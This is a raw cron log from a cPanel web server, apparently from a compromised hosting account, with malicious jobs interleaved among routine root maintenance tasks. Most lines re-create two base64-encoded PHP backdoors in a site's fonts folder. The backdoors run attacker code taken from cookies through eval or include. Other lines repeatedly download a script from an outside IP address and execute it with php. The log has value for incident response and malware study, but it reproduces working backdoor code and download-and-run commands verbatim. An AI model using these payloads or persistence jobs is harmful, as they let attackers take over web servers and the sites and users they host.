Feb 22 06:37:01 ip-184-168-122-23 CROND[15317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:37:01 ip-184-168-122-23 CROND[15318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:37:01 ip-184-168-122-23 CROND[15319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:38:01 ip-184-168-122-23 CROND[15630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:38:01 ip-184-168-122-23 CROND[15632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:38:01 ip-184-168-122-23 CROND[15635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:38:01 ip-184-168-122-23 CROND[15634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:38:01 ip-184-168-122-23 CROND[15633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:39:01 ip-184-168-122-23 CROND[16005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:39:02 ip-184-168-122-23 CROND[16007]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 06:39:02 ip-184-168-122-23 CROND[16010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:39:02 ip-184-168-122-23 CROND[16009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:39:02 ip-184-168-122-23 CROND[16008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:40:01 ip-184-168-122-23 CROND[16327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:40:01 ip-184-168-122-23 CROND[16330]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 06:40:01 ip-184-168-122-23 CROND[16329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:40:01 ip-184-168-122-23 CROND[16334]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:40:01 ip-184-168-122-23 CROND[16335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:40:01 ip-184-168-122-23 CROND[16332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:40:01 ip-184-168-122-23 CROND[16331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:40:01 ip-184-168-122-23 CROND[16338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:41:01 ip-184-168-122-23 CROND[16658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:41:01 ip-184-168-122-23 CROND[16660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:41:01 ip-184-168-122-23 CROND[16663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:41:01 ip-184-168-122-23 CROND[16664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:42:01 ip-184-168-122-23 CROND[16975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:42:02 ip-184-168-122-23 CROND[16977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:42:02 ip-184-168-122-23 CROND[16978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:42:02 ip-184-168-122-23 CROND[16979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:42:02 ip-184-168-122-23 CROND[16980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:43:01 ip-184-168-122-23 CROND[17385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:43:01 ip-184-168-122-23 CROND[17384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:43:01 ip-184-168-122-23 CROND[17386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:43:01 ip-184-168-122-23 CROND[17389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:44:01 ip-184-168-122-23 CROND[17736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:44:01 ip-184-168-122-23 CROND[17737]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:44:01 ip-184-168-122-23 CROND[17740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:44:01 ip-184-168-122-23 CROND[17739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:44:01 ip-184-168-122-23 CROND[17738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:45:01 ip-184-168-122-23 CROND[18065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:45:01 ip-184-168-122-23 CROND[18063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:45:01 ip-184-168-122-23 CROND[18071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:45:01 ip-184-168-122-23 CROND[18073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:45:01 ip-184-168-122-23 CROND[18072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:45:01 ip-184-168-122-23 CROND[18069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:46:01 ip-184-168-122-23 CROND[18406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:46:01 ip-184-168-122-23 CROND[18408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:46:01 ip-184-168-122-23 CROND[18409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:46:01 ip-184-168-122-23 CROND[18410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:46:01 ip-184-168-122-23 CROND[18411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:46:01 ip-184-168-122-23 CROND[18412]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 06:47:01 ip-184-168-122-23 CROND[18740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:47:01 ip-184-168-122-23 CROND[18741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:47:01 ip-184-168-122-23 CROND[18742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:47:01 ip-184-168-122-23 CROND[18744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:48:01 ip-184-168-122-23 CROND[19118]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:48:01 ip-184-168-122-23 CROND[19119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:48:01 ip-184-168-122-23 CROND[19122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:48:01 ip-184-168-122-23 CROND[19120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:48:01 ip-184-168-122-23 CROND[19123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:49:01 ip-184-168-122-23 CROND[19430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:49:01 ip-184-168-122-23 CROND[19432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
